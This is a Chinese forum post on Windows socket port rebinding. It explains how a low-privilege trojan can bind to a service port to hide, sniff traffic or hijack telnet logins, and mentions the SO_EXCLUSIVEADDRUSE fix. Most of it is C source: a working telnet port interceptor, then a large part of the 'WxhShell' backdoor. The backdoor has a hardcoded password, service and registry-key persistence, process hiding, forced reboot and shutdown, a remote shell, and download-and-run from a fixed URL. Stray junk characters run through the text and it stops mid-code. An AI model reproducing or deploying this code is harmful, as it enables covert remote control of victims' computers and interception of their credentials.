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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #lo1GoL\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $EUlh^  
~SD8#;v2  
  saddr.sin_family = AF_INET; w>6~ zAh  
'$m uA\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8<X,6  
!hS~\+E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ` fm^#Nw  
u?-X07_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PY{])z3N  
!b:;O +[  
  这意味着什么?意味着可以进行如下的攻击: cZd{K[fuK  
/ltGSl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G j9WUv[P  
WK)2/$7@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;E0aTV)Zp  
:3$$PdZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,MRAEa2  
4,.B#: 8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i{.%4tA4  
nPh| rW=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ER4j=O#  
$<QOMfY>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >56I`[)  
}US^GEs(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "PhP1;A9,  
Ed$;#4  
  #include LRa^x44  
  #include "pLWJvj6-  
  #include )*tV  
  #include    F\U^-/0,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,ag:w<km  
  int main() CpG]g>]L&[  
  { ` 0}z ;&:  
  WORD wVersionRequested; ;kv/(veQ1<  
  DWORD ret; [ _N w5_  
  WSADATA wsaData; gdKn!; ,w#  
  BOOL val; } 63Qh}_Y  
  SOCKADDR_IN saddr; QW[ gDc  
  SOCKADDR_IN scaddr; U 4Sxr  
  int err; b!hs|emo;  
  SOCKET s; t7 ].33%\  
  SOCKET sc; Z#nPn>,q  
  int caddsize; [(65^Zl`  
  HANDLE mt; 8kA2.pIk  
  DWORD tid;   ZT'VF~  
  wVersionRequested = MAKEWORD( 2, 2 ); 9S8>"w^R  
  err = WSAStartup( wVersionRequested, &wsaData ); 2$OI(7b=  
  if ( err != 0 ) { d=~-8]%\  
  printf("error!WSAStartup failed!\n"); 7>sNjOt@M  
  return -1; 52H'aHO1  
  } b IZuZF>*  
  saddr.sin_family = AF_INET; Sh(Ws2b7  
   $MPh\T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tITx+i  
@_ Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +^0Q~>=VD  
  saddr.sin_port = htons(23); y53f73Cg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7F!(60xY  
  { ecg>_%.>  
  printf("error!socket failed!\n"); ^xZo .P  
  return -1; g4"0:^/  
  } dY6A)[dAH'  
  val = TRUE; hnf7Q l}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m5w ZS>@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =iZj&B X  
  { I]dt1iXu_{  
  printf("error!setsockopt failed!\n"); n>|7 k3  
  return -1; k_$9cVA  
  } =!pfgE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |1z?#@BH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _pM~v>~*+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Uw:gJ 9  
<XAW-m9SC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kl&9M!;:n  
  { KTzkJx  
  ret=GetLastError(); s2'] "wM  
  printf("error!bind failed!\n"); [ S_8;j  
  return -1; Q \E [py  
  } 6L\?+=X  
  listen(s,2); aLKvl~s;m  
  while(1) !~Am1\02  
  { (sHvoE^q-  
  caddsize = sizeof(scaddr); Ev'Bm Dk  
  //接受连接请求 bF#1'W&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ejID5NqG  
  if(sc!=INVALID_SOCKET) Z[&7NJo(  
  { OB&lq.r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Xgs 31#K  
  if(mt==NULL) K.{:H4_  
  { Z\@m_ /g  
  printf("Thread Creat Failed!\n"); I,pI2  
  break; r'C(+E (  
  } hj8S#  
  } /!//i^  
  CloseHandle(mt); ! 4ZszQg  
  } k;AV  'r  
  closesocket(s); v]tNJ=aI  
  WSACleanup(); !VF.=\iH/  
  return 0; Le*sLuxk<  
  }   E }*   
  DWORD WINAPI ClientThread(LPVOID lpParam) j!oD9&W4~  
  { Sjogv  
  SOCKET ss = (SOCKET)lpParam; pP`KI'aUN  
  SOCKET sc; ^9g+\W  
  unsigned char buf[4096]; ;g M$%!&  
  SOCKADDR_IN saddr; sdWu6?B_  
  long num; :mpR}.^hv  
  DWORD val; .^Z^L F  
  DWORD ret; .gPXW=r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 XKTX~:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0i4 X,oHjG  
  saddr.sin_family = AF_INET; LZ"yMnhOf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W%)uKQha  
  saddr.sin_port = htons(23); ebuR-9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ki"o0u  
  { $xWebz0  
  printf("error!socket failed!\n"); :())%Xu3  
  return -1; qg(rG5kD@  
  } X9d~r_2&m<  
  val = 100; 2?)bpp$WZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xq.HR_\  
  { rTR4j>Ua~  
  ret = GetLastError(); Ai 9UB=[R  
  return -1; [^U#ic>cT  
  } %kcyE<c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D)u 9Y  
  { QnWM<6xK"  
  ret = GetLastError(); <`~zKFUQ[  
  return -1; ]B;\?Tim  
  } `9+>2*k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2L'vB1 `  
  { wGXnS"L!  
  printf("error!socket connect failed!\n"); @L)=epC  
  closesocket(sc); e>:bV7h j~  
  closesocket(ss); c2,1d`  
  return -1; ^YpA@`n  
  } bg8<}~zg  
  while(1) axRzn:f  
  { 7:Jyu/*]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -]uN16\ F  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?&H1C4   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Mk*&CNo3  
  num = recv(ss,buf,4096,0); u)DhkF|  
  if(num>0) #\Q{?F!4  
  send(sc,buf,num,0); %/86}DCfE?  
  else if(num==0) ZW]Q|vPh4U  
  break; !+E|{Zj  
  num = recv(sc,buf,4096,0); X C jYm  
  if(num>0) HhmC+3w.7  
  send(ss,buf,num,0); E%f;Z7G  
  else if(num==0) rY 0kzD/  
  break; Mbt}G|;8H7  
  } I1H} 5 bf3  
  closesocket(ss); >UP{= `  
  closesocket(sc); ed,w-;(n~  
  return 0 ; >@2l/x8;  
  } Dn 6k,nVh  
`o9vE0^T<  
<By6%<JTn  
========================================================== p8>.Q/4  
?D].Za^km  
下边附上一个代码,,WXhSHELL Pgy&/-u  
+&W%]KEh  
========================================================== H?dmNwkPY  
PgKA>50a  
#include "stdafx.h" 1I?D$I>CV  
}HM8VAH  
#include <stdio.h> lF:gQ]oc  
#include <string.h> q<YteuZJ,  
#include <windows.h> MI|51&m  
#include <winsock2.h> _.xT :b36  
#include <winsvc.h> Cmq.V@  
#include <urlmon.h> AC=/BU3<yc  
RP 2MtP"M  
#pragma comment (lib, "Ws2_32.lib") +fgF &.  
#pragma comment (lib, "urlmon.lib") X7I"WC1ncz  
}`oe<|  
#define MAX_USER   100 // 最大客户端连接数 [TZlvX(E  
#define BUF_SOCK   200 // sock buffer Xwg|fr+p  
#define KEY_BUFF   255 // 输入 buffer FkdG@7Xf  
lWv3c!E`  
#define REBOOT     0   // 重启 _]"5]c&*3  
#define SHUTDOWN   1   // 关机 'L*nC T;  
O IF0X!  
#define DEF_PORT   5000 // 监听端口 RLypWjMx$  
FuOP+r!H  
#define REG_LEN     16   // 注册表键长度 Lx-ofN\  
#define SVC_LEN     80   // NT服务名长度 _YXk ,ME!Q  
?|8QL9Q"|  
// 从dll定义API gI&& LwT4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &%~2Wm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); apxZ}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zMfr`&%e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H61 ,pr>  
8oSndfV  
// wxhshell配置信息 tylMJ$ 9*.  
struct WSCFG { x%ZgLvdp,  
  int ws_port;         // 监听端口 f-9& n4=H  
  char ws_passstr[REG_LEN]; // 口令 yZ[H&>  
  int ws_autoins;       // 安装标记, 1=yes 0=no [)}F4Jsz%  
  char ws_regname[REG_LEN]; // 注册表键名 \*}JdEHB  
  char ws_svcname[REG_LEN]; // 服务名 /znW$yh o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h[D"O6 y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (k9{&mPJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SRl:+!@.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |-N\?N9"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &zsaVm8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7xP>AU)y  
s(Of EzsH=  
}; '`q&UPg]  
L\||#w   
// default Wxhshell configuration DLYk#d: q?  
struct WSCFG wscfg={DEF_PORT, 0]l _qxv  
    "xuhuanlingzhe", =J0X{Ovn4z  
    1, )bZS0f-  
    "Wxhshell", Y`S9mGR#  
    "Wxhshell", 'CT 8vt;  
            "WxhShell Service", ^l#Z*0@><~  
    "Wrsky Windows CmdShell Service", huu:z3{=J  
    "Please Input Your Password: ", 5Sd+Cc  
  1, rn l~i  
  "http://www.wrsky.com/wxhshell.exe", g{@q  
  "Wxhshell.exe" + #gJ[Cc  
    }; +'abAST t  
:\x)`lu  
// 消息定义模块 ] (3e +JC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +tL]qO BP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8\m_.e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d `LBFH,  
char *msg_ws_ext="\n\rExit."; .jRp.U  
char *msg_ws_end="\n\rQuit."; etdI:N*x  
char *msg_ws_boot="\n\rReboot..."; Vx@JP93|  
char *msg_ws_poff="\n\rShutdown..."; SI=vA\e  
char *msg_ws_down="\n\rSave to "; u8pJjn;  
*<n]"-  
char *msg_ws_err="\n\rErr!"; G>{Bij44  
char *msg_ws_ok="\n\rOK!"; xU#f>@v!  
7/lXy3B4  
char ExeFile[MAX_PATH]; {J2*6_  
int nUser = 0; ~6`HJ  
HANDLE handles[MAX_USER]; +E7s[9/r  
int OsIsNt; -QL_a8NL  
dzMlfJp  
SERVICE_STATUS       serviceStatus;  4l+"J:,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `_C4L=q"  
oLEqy  
// 函数声明 m72r6Yq2@  
int Install(void); 53d8AJ_@X  
int Uninstall(void); Qvh: hkR  
int DownloadFile(char *sURL, SOCKET wsh); v*'dA^Q  
int Boot(int flag); S6gg(nNe  
void HideProc(void); bX%9'O[-  
int GetOsVer(void); :T(3!}4  
int Wxhshell(SOCKET wsl); )J 4XM(  
void TalkWithClient(void *cs); hjywYd]8  
int CmdShell(SOCKET sock); GU'/-6-T  
int StartFromService(void); '#REbY5ev  
int StartWxhshell(LPSTR lpCmdLine); "ewSh<t  
Fyy)665x/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V|3}~(5=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !6hUTjhW7z  
_,:gSDW|  
// 数据结构和表定义 ( /{Wu:e  
SERVICE_TABLE_ENTRY DispatchTable[] = hER]%)#r  
{ p9k' .H^:_  
{wscfg.ws_svcname, NTServiceMain}, I/D (gY06<  
{NULL, NULL} _|`~CLE[  
}; ,)3%@MwO  
]NS{q85  
// 自我安装 lAU`7uE  
int Install(void) wP.b2X_V  
{ }p 0 \  
  char svExeFile[MAX_PATH]; HV@ C@wmg  
  HKEY key; B2Qt tcJ  
  strcpy(svExeFile,ExeFile); d 6 t#4!  
r9<OB`)3+  
// 如果是win9x系统,修改注册表设为自启动 rf_(pp)  
if(!OsIsNt) { ]ovP^]]V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L=4%MyZ.e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zq7Y('=`t@  
  RegCloseKey(key); };"-6e/9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -J8&!S8X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5hwe ul>S  
  RegCloseKey(key); pEf1[ zq  
  return 0; vZ[wr@)  
    } 4Cs |F7R  
  } aI]EwVz-q  
} lt\. )Y>4  
else { F]kn4zr  
z97RNT|Y7U  
// 如果是NT以上系统,安装为系统服务 `R@1Sc<*|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %fB]N  
if (schSCManager!=0) ^$-ID6  
{ ` 6a  
  SC_HANDLE schService = CreateService b_2bg>|;  
  ( gE$D#PZa  
  schSCManager, xi|T7,\X  
  wscfg.ws_svcname, c:(Xk zj  
  wscfg.ws_svcdisp, %O] ]La  
  SERVICE_ALL_ACCESS, 53efF bo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #!="b8F  
  SERVICE_AUTO_START, ]t$wK  
  SERVICE_ERROR_NORMAL, ]E/^(T-O  
  svExeFile, Dy`;]-b6u  
  NULL, Lky<L96  
  NULL, ~>v v9-_  
  NULL, 57 (bd0@8  
  NULL, 7]se!k,  
  NULL r'!L}^n  
  ); h= tzG KI  
  if (schService!=0) Z4 y9d?g%b  
  { _p0@1 s(U  
  CloseServiceHandle(schService); SVKjhZK  
  CloseServiceHandle(schSCManager); bzYj`t?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LY Y3*d  
  strcat(svExeFile,wscfg.ws_svcname); 9yla &XTD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { % NSb8@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DJ)Q,l*|N9  
  RegCloseKey(key); MvV\?Lzj   
  return 0; _Q XC5i  
    } h"R{{y f2  
  } }7)iLfi  
  CloseServiceHandle(schSCManager); Z !HQ|')N5  
} wD+4#=/j  
} Eod'Esye5  
+9EG6"..@H  
return 1; ')eg6IC0&T  
} 5dwC~vn}c  
Lg6;FbY?  
// 自我卸载 haNi [|  
int Uninstall(void) 2>`m1q:  
{ ~4-:;8a  
  HKEY key; C8dC_9  
_,r2g8qm  
if(!OsIsNt) { d2'1 6.lV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { );*:Uz sC_  
  RegDeleteValue(key,wscfg.ws_regname); :Y4 m3|  
  RegCloseKey(key); 05 56#U&>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R*PR21g  
  RegDeleteValue(key,wscfg.ws_regname); E}-Y!,v^  
  RegCloseKey(key); j >pv@D  
  return 0; )?d(7d-l  
  } =(]yl_  
} 3` ,u^ w  
} AN)exU ?  
else { o'Rr2,lVi  
{N.J A=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \3K%>   
if (schSCManager!=0) ^:hI bF4G  
{ NgI n\) =0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _z6_mmMp  
  if (schService!=0) ( AI gW  
  { Ec2?'*s   
  if(DeleteService(schService)!=0) { PCqE9B)l  
  CloseServiceHandle(schService); J_-K"T|f  
  CloseServiceHandle(schSCManager); {KQ]"a 6  
  return 0; 85e!)I_  
  } P:8 qm DXo  
  CloseServiceHandle(schService); v?6g. [;?  
  }  =&8Cg  
  CloseServiceHandle(schSCManager); )#%v1rR  
}  yxx9h3  
} |[+/ ]Y  
NC @L,)F  
return 1; ~7;AV(\%e  
} f3;.+hJ])  
8u|F %Sg  
// 从指定url下载文件 NQ3EjARZt  
int DownloadFile(char *sURL, SOCKET wsh) lEXER^6  
{ Mp-hNO}.Z  
  HRESULT hr; wf`e3S  
char seps[]= "/"; Y'&rSHI"  
char *token; ,#V }qSKUS  
char *file; {e]ktj#+{  
char myURL[MAX_PATH]; @sPuc.  
char myFILE[MAX_PATH]; %M7EOa  
woyn6Z1JQ  
strcpy(myURL,sURL); r)]8zK4;=  
  token=strtok(myURL,seps); #_pQS}$  
  while(token!=NULL) F-TDS<[S?  
  { k]"DsN$  
    file=token; ][?@) )  
  token=strtok(NULL,seps); +"?O2PX  
  } :P/0"  
UD0#Tpd7  
GetCurrentDirectory(MAX_PATH,myFILE); cLm|^j/  
strcat(myFILE, "\\"); ^l8&y;-T  
strcat(myFILE, file); bc3 T8(  
  send(wsh,myFILE,strlen(myFILE),0); Bw Cwy  
send(wsh,"...",3,0); bmP2nD6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0wE)1w<C~  
  if(hr==S_OK) O'.sK pXe  
return 0; xf|vz|J?y  
else jCK 0+,;  
return 1; 8M6wc394  
&P:2`\'  
} :jHDeF.A  
uXuA4o$t-  
// 系统电源模块 N~! G AaD  
int Boot(int flag) sZh| <2  
{ lHI?GiB@  
  HANDLE hToken; Y'U]!c9  
  TOKEN_PRIVILEGES tkp; #+ai G52+  
/RBIZ_  
  if(OsIsNt) { +@mgb4_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *|*6 q/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \ $Q?  
    tkp.PrivilegeCount = 1; qBDhCE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .~Gt=F+`s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vjqs\  
if(flag==REBOOT) { N@x5h8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W6&mXJ^3L  
  return 0; H[J5A2b  
} tO~o-R  
else { g^)8a;/c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oR@1/lV  
  return 0; (yO8G-Z0  
} 'z$!9ufY,  
  } Aa!#=V1d  
  else { u5I#5  
if(flag==REBOOT) { <(tnClAn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @g%^H)T  
  return 0; u;Rm/.  
} ZOzwO6(_  
else { /VHQ!Wi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4NDT5sL  
  return 0; }!^`%\ %\  
} t2_pwd*B  
} S]g`Ds<  
9Ac4'L  
return 1; bFB.hkTP  
} g$T% C?  
HLb`'TC3r+  
// win9x进程隐藏模块 |_u|Td(n  
void HideProc(void) m ?#WQf  
{ e3=-7FU  
A|<i7QVY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /#Lm)-%G  
  if ( hKernel != NULL ) Sej(jJX1  
  { 8T"8C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @$R^-_m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z_ (P^/  
    FreeLibrary(hKernel); PM8*/4Cu.5  
  } U}c05GiQw  
Lt2<3DB  
return; 3FsX3K,_X  
} F-GrQd:O=  
%'&_Po\  
// 获取操作系统版本 Gq =i-I  
int GetOsVer(void) Noi+mL  
{ Q60'5Wt  
  OSVERSIONINFO winfo; 60X))MyN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;R*tT%Z,  
  GetVersionEx(&winfo); g93H l&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K-Fro~U  
  return 1; tE"IE$$1  
  else TFI$>Oz|  
  return 0; ={B?hjo<-  
} W/G75o~6  
PNRZUZ4Z|  
// 客户端句柄模块 @WnW @'*F  
int Wxhshell(SOCKET wsl) i/j eb*d0  
{ Jk_ }y  
  SOCKET wsh; .2x`Fj;o1  
  struct sockaddr_in client; v@Bk)Z  
  DWORD myID; >vZ^D  
KA{ JSi  
  while(nUser<MAX_USER) u iR[V~  
{ zw}Wm4OH  
  int nSize=sizeof(client); a]t| /Mq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SGUZ'}  
  if(wsh==INVALID_SOCKET) return 1; '"]QAj?N  
B j z@X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j% Wip j;c  
if(handles[nUser]==0) I9hZ&ed16  
  closesocket(wsh); dw3H9(-lp  
else  `s~[q  
  nUser++; H{+[ ,l  
  } ';KZ.D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !Nx'4N`&l  
I`S?2i2H  
  return 0; Ybp';8V  
} pe>[Ts`2F  
XG8UdR|  
// 关闭 socket Z>_F:1x  
void CloseIt(SOCKET wsh) M&5De{LS}  
{ {8w,{p`  
closesocket(wsh); qU+q Y2S:  
nUser--; nD}CQ_C  
ExitThread(0); pg/SYEvsV  
} cb`ik)=K%  
A9kn\U92  
// 客户端请求句柄 n|) JhXQ  
void TalkWithClient(void *cs) p#>d1R1&  
{ U@"f(YL+"  
*4O9W8Qz  
  SOCKET wsh=(SOCKET)cs; 8=WX`*-uH  
  char pwd[SVC_LEN]; _&K>fy3t&  
  char cmd[KEY_BUFF]; U^d!*9R  
char chr[1]; [f#7~  
int i,j; DNGj81'c  
?xYoCn}Z  
  while (nUser < MAX_USER) { +.IncY8C$  
 ^9 Pae)  
if(wscfg.ws_passstr) { oWV^o8& GH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cd'K~Ch3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o>@9[F,h+  
  //ZeroMemory(pwd,KEY_BUFF); hDD]Kc;G^1  
      i=0; i1DJ0xC]  
  while(i<SVC_LEN) { \!s0H_RJY  
D |9ItxYu  
  // 设置超时 \>)#cEX5  
  fd_set FdRead; V@`A:Nc_>  
  struct timeval TimeOut; w ?"s6L3  
  FD_ZERO(&FdRead); C#:L.qK  
  FD_SET(wsh,&FdRead); {]3Rk  
  TimeOut.tv_sec=8; lJdwbuB6  
  TimeOut.tv_usec=0; r"=6s/q7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gp}}M Gk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *IV_evgM7  
DRmN+2I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "cx#6Bo|  
  pwd=chr[0]; k?qd -_sC  
  if(chr[0]==0xd || chr[0]==0xa) { on)$y&lu  
  pwd=0; ER)to<k  
  break; F.@U X{J  
  } |>jlmaV  
  i++; +=g9T`YbE  
    } Rd>PE=u  
">!<OB  
  // 如果是非法用户,关闭 socket m$80D,3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [hXnw'Im/  
} GCv*a[8?n  
mH5[(?   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *;Gnod<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~v^I*/uY  
YZQF*fj  
while(1) { 3B3l)eX  
q !Nb-O{  
  ZeroMemory(cmd,KEY_BUFF); hVd PO  
^^{7`X u  
      // 自动支持客户端 telnet标准   CyV(+KBe_  
  j=0; hp!. P1b  
  while(j<KEY_BUFF) { 6*%E4#4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )sG/H8  
  cmd[j]=chr[0]; l_0/g^(  
  if(chr[0]==0xa || chr[0]==0xd) { 0mYKzJi  
  cmd[j]=0; z3(:a'  
  break; CT#u+]T  
  } b,o@ m  
  j++; *;X,yEK[  
    } t+%tN^87:  
MWn+e  
  // 下载文件 `cn}}1Lg]  
  if(strstr(cmd,"http://")) { m5KAKpCR,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v&}^8j  
  if(DownloadFile(cmd,wsh)) pjrzoMF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z9k"&F ~u}  
  else ,n\'dMNii  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #F25,:hY  
  } O [v(kH'  
  else { ddG5g  
GZk{tTv  
    switch(cmd[0]) { Z Vj  
  !Ng~;2GoA  
  // 帮助 P DtLJt$  
  case '?': { !a<}Mpeg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fd/?x^Z  
    break; oH]"F  
  } J4>k9~q  
  // 安装 *7:HO{P>Y  
  case 'i': { ;+Uc} =  
    if(Install()) ylVBK{w9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3tAX4DnYrq  
    else 6gN>P%n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5"o)^8!>  
    break; {Bm7'%i  
    } -]e@FNL  
  // 卸载 ~ $QNp#dq  
  case 'r': { 0Er;l|  
    if(Uninstall()) CHo(:A.U>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !3T,{:gyrI  
    else b0ablVk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  %3A~&  
    break; mb_~ "}A  
    } o u*`~K|R  
  // 显示 wxhshell 所在路径 jg+q{ ^  
  case 'p': { 0 $_0T  
    char svExeFile[MAX_PATH]; cBz_L"5vr[  
    strcpy(svExeFile,"\n\r"); UKfpoDhEe  
      strcat(svExeFile,ExeFile); A<|]>[ax  
        send(wsh,svExeFile,strlen(svExeFile),0); 3IHA+Zz  
    break; [G>U>[u|  
    } ]5`Y^hS_g  
  // 重启 .W1i3Z6g  
  case 'b': { -/z#?J\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b am*&E%0K  
    if(Boot(REBOOT)) Z9vJF.clO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [S#QGB19  
    else { >UDb:N[  
    closesocket(wsh); R<AT}!mkR  
    ExitThread(0); 6i.!C5YX]  
    } Y[WL}:"93  
